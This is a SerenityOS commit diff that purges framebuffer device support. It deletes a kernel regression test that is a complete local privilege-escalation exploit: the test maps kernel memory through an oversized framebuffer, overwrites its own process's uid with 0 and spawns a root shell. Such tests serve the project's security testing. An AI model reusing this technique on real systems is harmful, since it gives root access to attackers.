Everywhere: Purge all support and usage of framebuffer devices

Long live the DisplayConnector object!

2 files changed, 0 insertions, 106 deletions

diff --git a/Tests/Kernel/CMakeLists.txt b/Tests/Kernel/CMakeLists.txt
index 61d51e68a8..03cfb6ea3c 100644
--- a/Tests/Kernel/CMakeLists.txt
+++ b/Tests/Kernel/CMakeLists.txt
@@ -1,6 +1,5 @@
 set(TEST_SOURCES
     bind-local-socket-to-symlink.cpp
-    bxvga-mmap-kernel-into-userspace.cpp
     crash-fcntl-invalid-cmd.cpp
     elf-execve-mmap-race.cpp
     elf-symbolication-kernel-read-exploit.cpp
diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
deleted file mode 100644
index 545124542a..0000000000
--- a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2018-2020, the SerenityOS developers.
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#include <AK/Types.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <unistd.h>
-
-int main()
-{
-    int fd = open("/dev/fb0", O_RDWR);
-    if (fd < 0) {
-        perror("open");
-        return 1;
-    }
-
-    size_t width = 17825;
-    size_t height = 1000;
-    size_t pitch = width * 4;
-    size_t framebuffer_size_in_bytes = pitch * height * 2;
-
-    FBHeadProperties original_properties;
-    original_properties.head_index = 0;
-    if (ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) {
-        perror("ioctl");
-        return 1;
-    }
-
-    FBHeadResolution resolution;
-    resolution.head_index = 0;
-    resolution.width = width;
-    resolution.height = height;
-    resolution.pitch = pitch;
-
-    if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) {
-        perror("ioctl");
-        return 1;
-    }
-
-    auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
-    if (ptr == MAP_FAILED) {
-        perror("mmap");
-        return 1;
-    }
-
-    printf("Success! Evil pointer: %p\n", ptr);
-
-    u8* base = &ptr[128 * MiB];
-
-    uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
-    printf("base = %p\n", base);
-    printf("g_processes = %p\n", (void*)g_processes);
-
-    auto get_ptr = [&](uintptr_t value) -> void* {
-        value -= 0xc0000000;
-        return (void*)&base[value];
-    };
-
-    struct ProcessList {
-        uintptr_t head;
-        uintptr_t tail;
-    };
-
-    struct Process {
-        // 32 next
-        // 40 pid
-        // 44 uid
-        u8 dummy[32];
-        uintptr_t next;
-        u8 dummy2[4];
-        pid_t pid;
-        uid_t uid;
-    };
-
-    ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
-
-    Process* process = (Process*)get_ptr(process_list->head);
-
-    printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
-
-    if (process->pid == getpid()) {
-        printf("That's me! Let's become r00t!\n");
-        process->uid = 0;
-    }
-
-    FBHeadResolution original_resolution;
-    original_resolution.head_index = 0;
-    original_resolution.width = original_properties.width;
-    original_resolution.height = original_properties.height;
-    original_resolution.pitch = original_properties.pitch;
-    if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) {
-        perror("ioctl");
-        return 1;
-    }
-
-    execl("/bin/sh", "sh", nullptr);
-
-    return 0;
-}